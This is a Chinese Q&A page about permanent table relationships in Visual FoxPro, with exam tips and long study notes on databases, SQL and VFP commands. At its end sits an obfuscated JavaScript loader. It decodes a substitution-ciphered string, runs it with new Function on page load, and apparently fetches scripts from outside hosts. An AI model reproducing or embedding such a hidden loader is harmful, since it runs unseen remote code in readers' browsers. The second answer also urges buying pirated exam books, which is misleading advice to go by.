在VF中,什么是表间的永久关系?

快快来回答 有惊喜哦
2024-12-12 00:15:53
推荐回答(2个)
回答1:

表间的永久关系是保存在数据库中了。它与临时关系的关系区别是,当其中一个表关闭时,临时关系不再存在。

而表间的永久关系,除非你删除关系,否则一直生效于两个关系表中。

建立永久关系的目的是设置主表与子表的参照完整性规则,包含三个规则:更新规则、删除规则、插入规则。

这三个规则是规定:如果主表中有记录要更新、删除时,子表中与之关键字相同的记录怎么办?可以选择“级联”“限制”“忽略”。

插入规则只可设置“限制”“忽略”。

回答2:

建议你别有用电子版,花十块多钱买本盗版的二级VFP上机一百套就行了,我当时考的上机题就是资料上的第87题。
2、电子版的对答案时不方便,而且网络上有很多错误,买上机题,提醒你要买把试题分类的,并且有提醒讲解的,这样一百套题只要弄懂其中的各个类型就行了,做完一百套很浪费时间的,而且盲目的做,很容易忘也不易理解。
3、笔试你应该学过VFP的吧,如果学过,那只要看看你书本就好了,但是考前一到两个星期,要买本二级公共基础知识,把里面的内容多但几遍,这里面占了笔试的三十分,有时间的话可以买本历年的笔试试题看下就好(笔试很容易过,如果想考优秀,那就要好好看了,有点难度)。
4、考前一定要熟悉上机的环境,即编程软件,避免考试时紧张,导致出错。
愿你顺利通过考试,不用焦急的,很容易过! 相信我的没错,笔试的只要把等级考试配套的资料看两遍就行了,愿你考试顺利
5、重点:
1.1 数据库基础知识
考点1 计算机数据管理的发展
1数据与数据处理
数据是指存储在某一种媒体上能够识别的物理符号。数据处理的中心问题是数据管理。
2计算机数据管理
(l)人工管理。
(2)文件系统。
(3)数据库系统。
(4)分布式数据库系统。
(5)面向对象数据库系统。
3数据库管理系统
为数据库的建立、使用和维护而配置的软件称为数据库管理系统DBMS (DataBase Management System)。

考点2 数据库系统
1有关数据库的概念
(1)数据库(DataBase):存储在计算机存储设备上、结构化的相关数据的集合。
(2)数据库应用系统(DBAS ):是由系统开发人员利用数据库系统资源开发出来的,面向某一类实际应用的应用软件系统。
(3)数据库管理系统(DBMS):对数据实行专门管理,提供安全性和完整性等统一机制,可以对数据库的建立、使用和维护进行管理。
(4)数据库系统(DBS):是指引进数据库技术后的计算机系统,实现有组织地、动态地存储大量相关数据,提供数据处理和信息资源共享的便利手段。数据库系统由硬件系统、数据库、数据库管理系统及相关软件、数据库管理员和用户等部分组成。
2数据库系统的特点
(l)实现数据共享,减少数据冗余。
(2)采用特定的数据模型。
(3)具有较高的数据独立性。
(4)具有统一的数据控制功能。
考点3 数据模型
1实体的描述
(1)实体。
(2)实体的属性。
(3)实体集和实体型。
2实体间联系及联系的种类
(1)一对一联系。
(2)一对多联系。
(3)多对多联系。
3数据模型简介
为了反映事物本身及事物之间的各种联系,数据库中的数据必须有一定的结构,这种结构用数据模型来表示,通常有以下3种。
(1)层次数据模型。
(2)网状数据模型。
(3)关系数据模型。
小提示:
数据库DB、数据库系统DBS和数据库管理系统DBMS之间的关系是DBS包括DB和DBMS。
1.2 关系模型
关系模型的用户界面非常简单,一个关系的逻辑结构就是一张二维表。这种用二维表的形式表示实体和实体间联系的数据模型称为关系数据模型。
1关系术语
(l)关系:一个关系就是一张二维表,每个关系有一个关系名。在Visual FoxPro中一个关系存储为一个文件,扩展名为DBF,称为“表”。
对关系的描述称为关系模式,一个关系模式对应一个关系的结构,格式为:
关系名(属性名1,属性名2,…,属性名n)
(2)元组:在一个二维表中,水平方向的行称为元组,每一行为一个元组。
(3)属性:将二维表中垂直方向的列称为属性,每一列都有一个属性名。
(4)域:属性的取值范围,即不同元组对同一个属性的取值所限定的范围。
(5)关键字:属性或属性的组合,其值能够唯一地标识一个元组。在Visual FoxPro中,主关键字和候选关键字就起唯一标志一个元组的作用。
(6)外部关键字:如果表中一个字段不是本表的主关键字或候选关键字,而是另一个表的主关键字或候选关键字,那么这个字段(属性)就称为外部关键字。
2关系的特点
(1)关系必须规范化。
(2)在同一个关系中不能出现同名属性,Visual FoxPro中表示为字段名的不同。
(3)关系中不允许有完全相同的元组,即冗余。
(4)在一个关系中元组的次序无关紧要。
(5)在一个关系中列的次序无关紧要。
考点5 关系运算
对关系数据库进行查询时,需要找到用户感兴趣的数据,这就需要对关系进行一定的关系运算,关系的基本运算有两类:传统的集合运算和专门的关系运算。
1传统的集合运算
(1)并:两个相同结构关系的并是由属于这两个关系的全部元组组成的集合。
(2)差:两个相同结构关系的差是由属于前一个关系的元组而不属于后一个关系的元组组成的集合。例如,关系R和S的差结果是由属于R但不属于S的元组组成的集合。
(3)交:两个相同结构关系的交是由属于这两个关系所共有的元组组成的集合。
2专门的关系运算
(1)选择:从关系中找出满足给定条件的元组的操作。
(2)投影:从关系模式中指定若干个属性组成新的关系:
(3)连接:关系的横向结合,将两个关系模式拼接成一个更宽的关系模式。
(4)自然连接:在连接运算中,按照字段值对应相等为条件进行的连接操作称为等值连接。自然连接是去掉重复属性的等值连接。
小提示:
选择和投影运算的操作对象只是一个表,相当于对一个二维表进行切割。连接运算则需要把两个表作为操作对象。如果两个表以上进行连接,应当两两进行连接。
1.3 数据库设计基础
考点6 数据库设计步骤
1设计原则
(l)关系数据库的设计应遵从概念单一化“一事一地”的原则。
(2)避免在表之间出现重复字段。
(3)表中的字段必须是原始数据和基本数据元素。
(4)用外部关键字保证有关联的表之间的联系。
2设计步骤
利用Visual FoxPro来开发数据库应用系统,可以按照以下步骤来设计。
6、SQL重点:
SQL

create table 表名(学号 C(8),...,...,...)

alter table <及其参数> add(增加)\alter(修改)\drop(删除)
alter命令是对表结构的操作,相当于是modi stru

select .. from .. where ...
其它参数:into、between、order by(ASC/DESC)、group by (Having)等
说明: 对于这些参数,一定要能填空,并且理解其含义.

insert into ......
update ... set ...
delete from ... where ...

Visual Foxpro重点:

第一部分:数据管理系统概述:
1、DBS、DBMS、DB的关系。DBMS是DBS的核心
2、理解数据库的特点
3、三种数据模型
4、关系数据库:关系、元组、属性、关键字,关系模式的描述
5、三种关系运算:选择、投影、连接(要能区分)
select .. from .. where ..
6、完整性控制(理解):实体完整性、域完整性、参照完整性
主健属性不能为空、引用完整性规则:该规则要求不允许引用不存在的元组、
保持数据的一致性

第二部分:VFP初步知识
1、性能指标
2、退出quit
3、扩展名:DBF和FPT,MEM,DBC、DCT和DCX、PJX、PRG和FXP、
IDX和CDX、TXT、SCX
4、工作方式:交互方式、程序方式(other:菜单方式、工具栏方式)
5、向导:工具栏、工具菜单栏、新建都可以使用向导
6、项目管理器的操作(如何添加、修改表单和程序)

第三部分:VFP数据基础
1、常量(判断的唯一标准是定界符)、变量的区分
2、运算符:**或^ 、 $ 、% 、==和= set exact on/off

其它set设置命令
set default to \ set exact \ set filter to \set fields to \
set relation to \ set printer to \set deleted to \set device to

3、not -> and -> or
4、函数:
重点掌握:int()、所有的字符处理函数和转换函数、year()
date()、time()、测试函数recno()、reccount()、
type()、IIF()、BOF()、EOF()、FOUND()

第四部分:表的创建和操作
1、字段三要素:字段名、字段类型和字段宽度
2、备注型、通用型知识和如何操作。
3、关闭命令大全:use 、close all 、clear memory、clear all
close database 、close table 、close ...
4、list/disp [范围][for/while <条件>][fields <字段名表>]
[OFF][to printer/to file <文本文件TXT>]
三大参数:范围、条件、字段名表
注意:书写条件时间,字段名是变量,字段值得是常量(定界符)
例如:性别='男'
list=disp all(disp要分屏显示)
disp=list next 1(next 1为当前记录)
5、命令:go、list structure 、modify structure(添加新字段)
skip、browse、copy、replace、insert、append、
delete、recall、pack、zap、edit/change、过滤(非重点)
6、重要命令:replace、copy to和copy structure to 、
append blank和insert blank
7、scatter和gather、copy to array和append from array

第五部分:查询、统计和索引
1、sort 排序:产生新文件。默认是/a,也可以是/d(降序)
2、索引的分类(主、候选、普通、唯一),理解索引和排序的区别
索引的另一种分类: 单索引和复合索引(熟悉建立方法)
关于降序:
单索引只有数字型才能降序 index on -语文 to xx
其它要降序需要使用 desc 参数,只能在复合索引中完成

结构复合索引的特点: (1)与表同名 (2)随着表的打开而自动打开,但是不生效

3、重点掌握单索引文件,不要求order参数
索引的打开: (1)和表一起打开 (2)先打开表再打开 set index to
(3)建立时就打开并生效
从打开的索引中设置主索引(主控索引) set order to

4、其它:索引更新(重点)、关闭、删除。
5、查询:lodate 和 seek
6、统计:count、sum、average、total、calculate(非重点)
7、多工作区(重点!!!!!) 0号工作区的含义
select、三大命令set rela to 、join with 、updat

第六部分:数据库和视图
1、数据库的概念和基本文件:DBC、DCT、DCX
2、数据库基本命令:打开、修改、关闭、浏览
3、永久关系的建立方法(数据库中表与表之间)
4、理解设置参照完整性
5、视图:虚拟的表(兼有表的功能和查询的功能)。
理解本地视图和远程视图(不要求操作)

第七部分:程序设计。
1、程序基本结构:顺序、分支循环
2、理解算法和流程图
3、程序的编辑、运行。
4、退出程序:return、cancel、quit
5、输入/输出语句

第八部分:面向对象程序设计和表单。
1、对象和类
2、对象的属性、事件和方法
3、类和子类
4、类的特性:继承、封装、多态
5、基类(控件、容器)、子类、用户自定义类(不要求定义)
6、对象的引用:this、thisform、thisformset、parent
7、表单的概念

第九部分:基本控件和属性、事件、方法

一、基本知识

1、重点事件:click、init、gotfocus、lostfocus、interactivechange
2、重点方法:refresh、release、setfocus
表单调用:do form...
3、函数:messagebox() additem() 。掌握名字,注意扩号
4、区别是一般控件还是容器类控件
容器类对象的操作方法:鼠标右键点容器:选编辑
主要属性:buttoncount
5、属性修改:引用.对象名.属性=值
方法的使用:引用.对象名.方法
事件的选择

二、控件和属性

1、重要:
文本框Label1...(value、readonly、passwordchar)
命令按钮Command1...(click事件、enabled、caption、visible)
标签label1....(caption、font字体相关<字号、字体>)
表单Form1....(Init事件、caption、autocenter) 单选按钮组
复选框(buttoncount、value)、命令按钮组、编辑框(属性和文本框一样,不过是多行)
列表框和组合框(兼有编辑框和列表框的功能)(value、Rowsource、RowsourceType)
表格(能用生成器直接生成、修改就行,无需记属性)

4、其次:微调按钮(Increment、SpinnerHighValue、SpinnerlowValue)
图象(picture、Stretch) ActiveX(可以显示通用型字段)
表单集(注意使用thisformset。)
计时器Timer(timer、Enabled、Interval毫秒计算)

5、表单中控件和表的连接:ControlSource属性
6、数据环境和列控件(重点)。
7、如何在数据环境中建立关联。

说明:比较重要、一般和其次的控件无须牢牢记住其属性,因为是上机时
考的可能性比较大。建议你熟悉它,只要在属性工具栏中能找就行
希望对你有所帮助!

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();